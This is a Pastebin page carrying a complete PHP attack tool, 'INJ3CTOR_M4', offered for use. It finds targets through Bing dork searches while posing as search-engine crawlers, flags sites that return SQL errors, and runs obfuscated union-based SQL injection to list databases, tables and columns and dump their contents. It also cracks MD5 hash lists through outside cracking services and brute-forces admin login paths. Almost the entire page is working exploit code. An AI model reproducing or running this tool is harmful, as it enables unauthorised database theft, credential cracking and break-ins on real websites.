Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- #INJ3CTOR_M4
- #UNION BASED SQLi Tools V1.0
- //Jounoud L'Mouvement
- @set_time_limit(0);
- error_reporting(0);
- $options = getopt('d:u:p:h:f:');
- $agents = array('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)', 'msnbot/2.0b (+http://search.msn.com/msnbot.htm)',
- 'msnbot-media/1.1 (+http://search.msn.com/msnbot.htm)', 'adidxbot/1.1 (+http://search.msn.com/msnbot.htm)',
- 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534+ (KHTML, like Gecko) BingPreview/1.0b');
- echo"
- ## ## ## ## ## ### ## ## #### ##
- ## ### ### ## ## ## ## ## ## ## ##
- ## #### #### ## ## ## ## ## ## ## ##
- ## ## ### ## ######### ## ## ## ## ## ##
- ## ## ## ## ## ## ######### ## ## ## ## ##
- ## ## ## ## ## ## ## ## ## ## ## ## ##
- ###### ## ## ## ## ## ## ### #### ######
- ";
- if(isset($options['d'])){ $dork = $options['d'];
- foreach($agents as $agent){
- $links = bing($dork, $agent);
- foreach($links as $link){
- $urls[] = $link;
- }
- }
- $urls = array_unique($urls);
- foreach($urls as $url){
- $r = scan_url($url . "%27");
- if($r == true){
- echo"[+] $url Vulnerable!\r\n";
- }else{ echo"[-] $url Note Vulnerable!\r\n"; }
- }
- }elseif(isset($options['u']) && isset($options['p'])){ $u = $options['u']; $p = $options['p'];
- if(scan_url($u . "%27") == true){ echo"[+] Infected .. Trying To Exploit\r\n";
- $req = $u . "+/*!oRdEr*/+/*!By*/+100+--";
- $req_source = get_source($req);
- if(scan_url($req) == true or eregi("'100' in 'order", $req_source)){
- echo"[!] Integer Method !\r\n";
- for($i=1;$i<=100;$i++){
- $req = $u . "+/*!oRdEr*/+/*!By*/+$i+--";
- $req_source = get_source($req);
- if(scan_url($req) == true or eregi("'$i' in 'order", $req_source)){
- $cn = $i-1;
- echo"[!] Number OF Columns: " . $cn . "\r\n";
- break;
- }
- }
- $u = preg_replace("#{$p}\=([0-9]{1,6})#","{$p}=null", $u);
- $query.= "+/*!00000uNiOn*/+/*!00000SeLeCt*/+";
- for($i=1;$i<=$cn;$i++){
- $query.= "($i),";
- }
- $req = $u . str_replace("($cn),", "($cn)+--", $query);
- for($i=1;$i<=$cn;$i++){
- $req_e = str_replace("($i)", "0x6d3467686f756c", $req);
- $data = get_source($req_e);
- if(preg_match('/m4ghoul/i', $data)){
- $in = $i;
- echo"[!] Infected Column: $in\r\n";
- break;
- }
- }
- if($in){
- $req_v = str_replace("($in)", "(unhex(hex(/*!00000cOnCaT(0x6d3467686f756c,version(),0x6d3467686f756c)*/)))", $req);
- $data = get_source($req_v);
- if(preg_match('/m4ghoul(.*?)m4ghoul/', $data, $matche)){
- $version = $matche[1];
- echo"[+] Version: $version\r\n";
- }
- $req_d = str_replace("($in)", "(unhex(hex(/*!00000GrOuP_cOnCaT(0x6d3467686f756c,sChEmA_nAmE,0x6d3467686f756c)*/)))", $req);
- $req_d = str_replace("+--", "+/*!00000FrOm*/+InFoRmAtIoN_sChEmA.sChEmAtA+--", $req_d);
- $data = get_source($req_d);
- if(preg_match_all('/m4ghoul(.*?)m4ghoul/', $data, $matches)){
- echo"[*] Databases:\r\n";
- foreach($matches[1] as $database){
- echo"\t- $database\r\n";
- }
- echo"\r\nSELECT A DATABASE? # ";
- $database = trim(fgets(STDIN,1024));
- $database_h = strToHex($database);
- $req_t = str_replace("($in)", "(unhex(hex(/*!00000GrOuP_cOnCaT(0x6d3467686f756c,tAbLe_NaMe,0x6d3467686f756c)*/)))", $req);
- $req_t = str_replace("+--", "+/*!00000FrOm*/+InFoRmAtIoN_sChEmA.tAbLeS+wHeRe+/*!00000table_schema*/={$database_h}+--", $req_t);
- $data = get_source($req_t);
- if(preg_match_all('/m4ghoul(.*?)m4ghoul/', $data, $matches)){
- echo"[*] Tables:\r\n";
- foreach($matches[1] as $table){
- echo"\t- $table\r\n";
- }
- echo"\r\nSELECT A TABLE? # ";
- $table = trim(fgets(STDIN,1024));
- $h_table = strToHex($table);
- $req_c = str_replace("($in)", "(unhex(hex(/*!00000GrOuP_cOnCaT(0x6d3467686f756c,CoLuMn_NaMe,0x6d3467686f756c)*/)))", $req);
- $req_c = str_replace("+--", "+/*!00000FrOm*/+InFoRmAtIoN_sChEmA.cOlUmNs+WhErE+/*!00000table_schema*/={$database_h}+/*!00000and*/+/*!00000table_name*/={$h_table}+--", $req_c);
- $data = get_source($req_c);
- if(preg_match_all('/m4ghoul(.*?)m4ghoul/', $data, $matches)){
- echo"[*] Columns:\r\n";
- foreach($matches[1] as $column){
- echo"\t- $column\r\n";
- }
- echo"\r\nSELECT COLUMN? # ";
- $column = trim(fgets(STDIN,1024));
- $req_a = str_replace("($in)", "(unhex(hex(/*!00000GrOuP_cOnCaT(0x6d3467686f756c,$column,0x6d3467686f756c)*/)))", $req);
- $req_a = str_replace("+--", "+/*!00000FrOm*/+$database.$table+--", $req_a);
- $data = get_source($req_a);
- if(preg_match_all('/m4ghoul(.*?)m4ghoul/', $data, $matches)){
- echo"[*] Data:\r\n";
- foreach($matches[1] as $all){
- echo"\t- $all\r\n";
- }
- }
- }
- }
- }
- }else{ echo"[-] Union Based Not Allowed\r\n"; }
- }else{ $req = $u . "'+/*!oRdEr*/+/*!By*/+100+-- -";
- $req_source = get_source($req);
- if(scan_url($req) == true or eregi("'100' in 'order", $req_source)){
- echo"[!] String Method !\r\n";
- for($i=1;$i<=100;$i++){
- $req = $u . "'+/*!oRdEr*/+/*!By*/+$i+--+-";
- $req_source = get_source($req);
- if(scan_url($req) == true or eregi("'$i' in 'order", $req_source)){
- $cn = $i-1;
- echo"[!] Number OF Columns: " . $cn . "\r\n";
- break;
- }
- }
- $u = preg_replace("#{$p}\=([0-9]{1,6})#","{$p}=null'", $u);
- $query.= "+/*!00000uNiOn*/+/*!00000SeLeCt*/+";
- for($i=1;$i<=$cn;$i++){
- $query.= "($i),";
- }
- $req = $u . str_replace("($cn),", "($cn)+--+-", $query);
- for($i=1;$i<=$cn;$i++){
- $req_e = str_replace("($i)", "0x6d3467686f756c", $req);
- $data = get_source($req_e);
- if(preg_match('/m4ghoul/', $data)){
- $in = $i;
- echo"[!] Infected Column: $in\r\n";
- break;
- }
- }
- if($in){
- $req_v = str_replace("($in)", "(unhex(hex(/*!00000cOnCaT(0x6d3467686f756c,version(),0x6d3467686f756c)*/)))", $req);
- $data = get_source($req_v);
- if(preg_match('/m4ghoul(.*?)m4ghoul/', $data, $matche)){
- $version = $matche[1];
- echo"[+] Version: $version\r\n";
- }
- $req_d = str_replace("($in)", "(unhex(hex(/*!00000GrOuP_cOnCaT(0x6d3467686f756c,sChEmA_nAmE,0x6d3467686f756c)*/)))", $req);
- $req_d = str_replace("+--", "+/*!00000FrOm*/+InFoRmAtIoN_sChEmA.sChEmAtA+--+-", $req_d);
- $data = get_source($req_d);
- if(preg_match_all('/m4ghoul(.*?)m4ghoul/', $data, $matches)){
- echo"[*] Databases:\r\n";
- foreach($matches[1] as $database){
- echo"\t- $database\r\n";
- }
- echo"\r\nSELECT A DATABASE? # ";
- $database = trim(fgets(STDIN,1024));
- $database_h = strToHex($database);
- $req_t = str_replace("($in)", "(unhex(hex(/*!00000GrOuP_cOnCaT(0x6d3467686f756c,tAbLe_NaMe,0x6d3467686f756c)*/)))", $req);
- $req_t = str_replace("+--", "+/*!00000FrOm*/+InFoRmAtIoN_sChEmA.tAbLeS+wHeRe+/*!00000table_schema*/={$database_h}+--+-", $req_t);
- $data = get_source($req_t);
- if(preg_match_all('/m4ghoul(.*?)m4ghoul/', $data, $matches)){
- echo"[*] Tables:\r\n";
- foreach($matches[1] as $table){
- echo"\t- $table\r\n";
- }
- echo"\r\nSELECT A TABLE? # ";
- $table = trim(fgets(STDIN,1024));
- $h_table = strToHex($table);
- $req_c = str_replace("($in)", "unhex(hex(/*!00000GrOuP_cOnCaT(0x6d3467686f756c,CoLuMn_NaMe,0x6d3467686f756c)*/)))", $req);
- $req_c = str_replace("+--", "+/*!00000FrOm*/+InFoRmAtIoN_sChEmA.cOlUmNs+WhErE+/*!00000table_schema*/={$database_h}+/*!00000and*/+/*!00000table_name*/={$h_table}+--+-", $req_c);
- $data = get_source($req_c);
- if(preg_match_all('/m4ghoul(.*?)m4ghoul/', $data, $matches)){
- echo"[*] Columns:\r\n";
- foreach($matches[1] as $column){
- echo"\t- $column\r\n";
- }
- echo"\r\nSELECT COLUMN? # ";
- $column = trim(fgets(STDIN,1024));
- $req_a = str_replace("($in)", "(unhex(hex(/*!00000GrOuP_cOnCaT(0x6d3467686f756c,$column,0x6d3467686f756c)*/)))", $req);
- $req_a = str_replace("+--", "+/*!00000FrOm*/+$database.$table+--+-", $req_a);
- $data = get_source($req_a);
- if(preg_match_all('/m4ghoul(.*?)m4ghoul/', $data, $matches)){
- echo"[*] Data:\r\n";
- foreach($matches[1] as $all){
- echo"\t- $all\r\n";
- }
- }
- }
- }
- }
- }else{ echo"[-] Union Based Not Allowed\r\n"; }
- }
- }
- }else{ echo"[-] Not Infected - EXIT!\r\n"; exit; }
- }elseif(isset($options['h'])){ $hashs = list_get_contents($options['h']);
- foreach($hashs as $hash){
- $r = md5_decryption($hash);
- if($r != false){ echo"[+] $hash --> $r Cracked!\r\n"; }else{
- $data = get_source("http://api.md5crack.com/crack/No9Y8Ty49aQbptYt/" . $hash);
- $json = json_decode($data);
- if($json->{'response'} == 'The MD5 hash was cracked.'){
- $r = $json->{'phrase'};
- echo"[+] $hash --> $r Cracked!\r\n";
- }else{ echo"[-] $hash --> Note Found!\r\n"; }
- }
- }
- }elseif(isset($options['f'])){ $url = $options['f'];
- # You Can Add More Pages :D
- $admins = array('admin/', 'administrator/', 'admin1/', 'admin2/', 'admin3/', 'admin4/', 'admin5/', 'usuarios/', 'usuario/', 'administrator/', 'moderator/', 'webadmin/', 'adminarea/', 'bb-admin/', 'adminLogin/', 'admin_area/', 'panel-administracion/', 'instadmin/', 'memberadmin/', 'administratorlogin/', 'adm/', 'admin/account.php', 'admin/index.php', 'admin/login.php', 'admin/admin.php', 'admin/account.php', 'admin_area/admin.php', 'admin_area/login.php', 'siteadmin/login.php', 'siteadmin/index.php', 'siteadmin/login.html', 'admin/account.html', 'admin/index.html', 'admin/login.html', 'admin/admin.html', 'admin_area/index.php', 'bb-admin/index.php', 'bb-admin/login.php', 'bb-admin/admin.php', 'admin/home.php', 'admin_area/login.html', 'admin_area/index.html', 'admin/controlpanel.php', 'admin.php', 'admincp/index.asp', 'admincp/login.asp', 'admincp/index.html', 'admin/account.html', 'adminpanel.html', 'webadmin.html', 'webadmin/index.html', 'webadmin/admin.html', 'webadmin/login.html', 'admin/admin_login.html', 'admin_login.html', 'panel-administracion/login.html', 'admin/cp.php', 'cp.php', 'administrator/index.php', 'administrator/login.php', 'nsw/admin/login.php', 'webadmin/login.php', 'admin/admin_login.php', 'admin_login.php', 'administrator/account.php', 'administrator.php', 'admin_area/admin.html', 'pages/admin/admin-login.php', 'admin/admin-login.php', 'admin-login.php', 'bb-admin/index.html', 'bb-admin/login.html', 'acceso.php', 'bb-admin/admin.html', 'admin/home.html', 'login.php', 'modelsearch/login.php', 'moderator.php', 'moderator/login.php', 'moderator/admin.php', 'account.php', 'pages/admin/admin-login.html', 'admin/admin-login.html', 'admin-login.html', 'controlpanel.php', 'admincontrol.php', 'admin/adminLogin.html', 'adminLogin.html', 'admin/adminLogin.html', 'home.html', 'rcjakar/admin/login.php', 'adminarea/index.html', 'adminarea/admin.html', 'webadmin.php', 'webadmin/index.php', 'webadmin/admin.php', 'admin/controlpanel.html', 'admin.html', 'admin/cp.html', 'cp.html', 'adminpanel.php', 'moderator.html', 'administrator/index.html', 'administrator/login.html', 'user.html', 'administrator/account.html', 'administrator.html', 'login.html', 'modelsearch/login.html', 'moderator/login.html', 'adminarea/login.html', 'panel-administracion/index.html', 'panel-administracion/admin.html', 'modelsearch/index.html', 'modelsearch/admin.html', 'admincontrol/login.html', 'adm/index.html', 'adm.html', 'moderator/admin.html', 'user.php', 'account.html', 'controlpanel.html', 'admincontrol.html', 'panel-administracion/login.php', 'wp-login.php', 'adminLogin.php', 'admin/adminLogin.php', 'home.php', 'admin.php', 'adminarea/index.php', 'adminarea/admin.php', 'adminarea/login.php', 'panel-administracion/index.php', 'panel-administracion/admin.php', 'modelsearch/index.php', 'modelsearch/admin.php', 'admincontrol/login.php', 'adm/admloginuser.php', 'admloginuser.php', 'admin2.php', 'admin2/login.php', 'admin2/index.php', 'usuarios/login.php', 'adm/index.php', 'adm.php', 'affiliate.php', 'adm_auth.php', 'memberadmin.php', 'administratorlogin.php');
- $ch = curl_init();
- foreach($admins as $admin){
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_URL, $url . $admin);
- curl_exec($ch);
- if(curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200){
- echo"[+] $url$admin\t200 OK\r\n";
- }
- }
- curl_close($ch);
- }else{ echo"[!] Usage: php $argv[0] -[OPTIONS]:\n\n\t -d Dork // Bing Sql Injection Scanner\r\n\t -u http://localhost/index.php?id=1 -p id // Union Based Injector\r\n\t -h list.txt // Hashs Cracker\r\n\t -f http://localhost/ // Admin Page Finder\r\n"; }
- // Functions //
- function bing($dork, $agent){
- $ch = curl_init();
- $i = 1;
- while ($i) {
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_URL, "http://www.bing.com/search?q=" . urlencode($dork) . "&first={$i}");
- curl_setopt($ch, CURLOPT_USERAGENT, $agent);
- curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
- curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
- curl_setopt($ch, CURLOPT_ENCODING, "gzip, deflate, compress");
- $data = curl_exec($ch);
- preg_match_all('#;a=(.*?)" h="#',$data, $links);
- foreach($links[1] as $link){
- $allLinks[] = $link;
- }
- if(!preg_match('#"sw_next"#', $data)) break;
- $i+=10;
- }
- if(!empty($allLinks) && is_array($allLinks)){
- return array_unique(array_map("urldecode", $allLinks));
- }
- }
- function scan_url($url){
- $data = get_source($url);
- if(preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch_row()|SELECT * FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i", $data)){
- return true;
- }else{ return false; }
- }
- function strToHex($string){
- $hex='';
- for($i=0;$i<strlen($string);$i++){
- $hex .= dechex(ord($string[$i]));
- }
- return "0x" . $hex;
- }
- function list_get_contents($file){
- $data = file($file);
- return array_unique(array_map("trim", $data));
- }
- function md5_decryption($hash){
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, 'http://md5decryption.com/');
- curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS, "hash={$hash}&submit=Decrypt+It%21");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_ENCODING, 0);
- curl_setopt($ch, CURLOPT_TIMEOUT, 30);
- $data = curl_exec($ch);
- if(preg_match("#<font size='2'>Decrypted Text: </b>(.*?)</font>#", $data, $matche)){
- return $matche[1];
- }else{ return false; }
- }
- function get_source($link, $agent=false){
- if(!$agent){ $agent='Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'; }
- if(!function_exists('curl_init')){
- return file_get_contents($link);
- }else{
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch, CURLOPT_URL, $link);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt($ch, CURLOPT_USERAGENT, $agent);
- curl_setopt($ch, CURLOPT_ENCODING, 0);
- curl_setopt($ch, CURLOPT_TIMEOUT, 30);
- $data = curl_exec($ch);
- curl_close($ch);
- return $data;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment